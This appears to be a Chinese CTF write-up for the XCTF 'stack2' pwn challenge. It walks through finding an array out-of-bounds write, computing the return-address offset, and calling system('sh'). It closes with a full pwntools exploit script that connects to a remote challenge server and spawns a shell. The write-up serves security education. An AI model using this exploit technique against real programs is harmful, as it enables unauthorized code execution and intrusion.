checksec 文件看一下保护
32位,开了NX和canary,用ida看一下反汇编代码
直接看关键的地方
由于没有检查数组的边界,于是在这里可以做到覆盖任意地址,那么想法就是覆盖eip的地址到backdoor,发现ida有一处hackhere,跟踪看看
发现是/bin/bash,而不是/bin/sh,于是需要自己构建system("sh"),于是开始实操,先找到eip距离ebp的位置
虽然v13距离ebp是0x70,但是eip的位置并不是0x70+4,而是0x84,可以看main函数的栈结构,也可以ida调试,这里是借鉴的别人的wp,后续有时间补上调试过程。
那么知道要写入的位置是v13[0x84]了,那么如何写入呢,由于这里是char类型的数组写入,char每个元素是一字节,于是采取逐字节写入。
system的地址采取system_plt的地址,可以直接在ida里面找,这里就不上图片了,sh的地址如何获得呢?看图片
对上面图片这部分按下d,便可以出现 下面的情况
于是便获得了sh的地址,0x08048987
好了,准备活动都做完了,直接上脚本
from pwn import *
context(arch='i386',log_level='debug')
p = remote("61.147.171.105",59092)
#注意小端序
sh = [ 0x87,0x89,0x04,0x08]#sh = 0x08048987
system = [ 0x50,0x84,0x04,0x08 ] #system = 0x08048450
padding = 0x84 #eip离ebp距离
def change(write_add,write_in):
p.sendlineafter("5. exit\n",'3')
p.sendlineafter("change:\n",str(write_add))
p.sendlineafter("new number:\n",str(write_in))
p.sendlineafter("How many numbers you have:\n",str(1))
p.sendlineafter("Give me your numbers\n",str(1))
#p.recvuntil("5. exit\n")
for i in range(4):
change(padding+i,system[i])
padding += 8 #写入了4字节 + 传参间隔一个内存单元
for i in range(4):
change(padding+i,sh[i])
p.sendlineafter("5. exit",'5')
p.interactive()
好了,更加详细的wp可以看 stack2 [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列15_stack题目ctf-CSDN博客
写的时候也有参考这位师傅的